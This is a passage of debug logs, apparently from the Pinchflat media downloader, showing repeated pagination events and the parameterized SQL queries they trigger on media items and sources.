s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 20:51:45.864 [debug] Replied in 2ms 20:51:46.807 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:46.808 [debug] QUERY OK source="media_items" db=0.6ms idle=1361.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:46.810 [debug] QUERY OK source="media_items" db=1.0ms idle=945.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 30] 20:51:46.811 [debug] QUERY OK source="sources" db=0.4ms idle=946.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 20:51:46.811 [debug] Replied in 3ms 20:51:48.616 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:48.618 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1167.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:48.619 [debug] QUERY OK source="media_items" db=1.0ms idle=560.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 35] 20:51:48.620 [debug] QUERY OK source="sources" db=0.3ms idle=562.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 20:51:48.620 [debug] Replied in 3ms 20:51:49.261 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:49.262 [debug] QUERY OK source="media_items" db=0.7ms idle=1203.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:49.263 [debug] QUERY OK source="media_items" db=1.1ms idle=810.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 40] 20:51:49.265 [debug] QUERY OK source="sources" db=0.3ms idle=646.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 2] 20:51:49.265 [debug] Replied in 4ms 20:51:49.914 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:49.915 [debug] QUERY OK source="media_items" db=0.3ms idle=1294.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:49.915 [debug] QUERY OK source="media_items" db=0.6ms idle=652.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 45] 20:51:49.916 [debug] QUERY OK source="sources" db=0.1ms idle=652.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:49.916 [debug] Replied in 2ms 20:51:50.500 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:50.501 [debug] QUERY OK source="media_items" db=0.4ms idle=1047.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:50.502 [debug] QUERY OK source="media_items" db=0.8ms idle=586.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 50] 20:51:50.503 [debug] QUERY OK source="sources" db=0.2ms idle=587.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:50.503 [debug] Replied in 2ms 20:51:52.853 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 20:51:52.854 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1395.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:52.855 [debug] QUERY OK source="media_items" db=1.1ms idle=796.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 45] 20:51:52.856 [debug] QUERY OK source="sources" db=0.3ms idle=798.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:52.857 [debug] Replied in 4ms 20:51:54.638 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:54.640 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=581.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:54.642 [debug] QUERY OK source="media_items" db=1.3ms idle=583.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 50] 20:51:54.642 [debug] QUERY OK source="sources" db=0.3ms idle=584.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:54.642 [debug] Replied in 4ms 20:51:54.984 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:54.985 [debug] QUERY OK source="media_items" db=0.6ms idle=926.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:54.986 [debug] QUERY OK source="media_items" db=1.2ms idle=520.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND 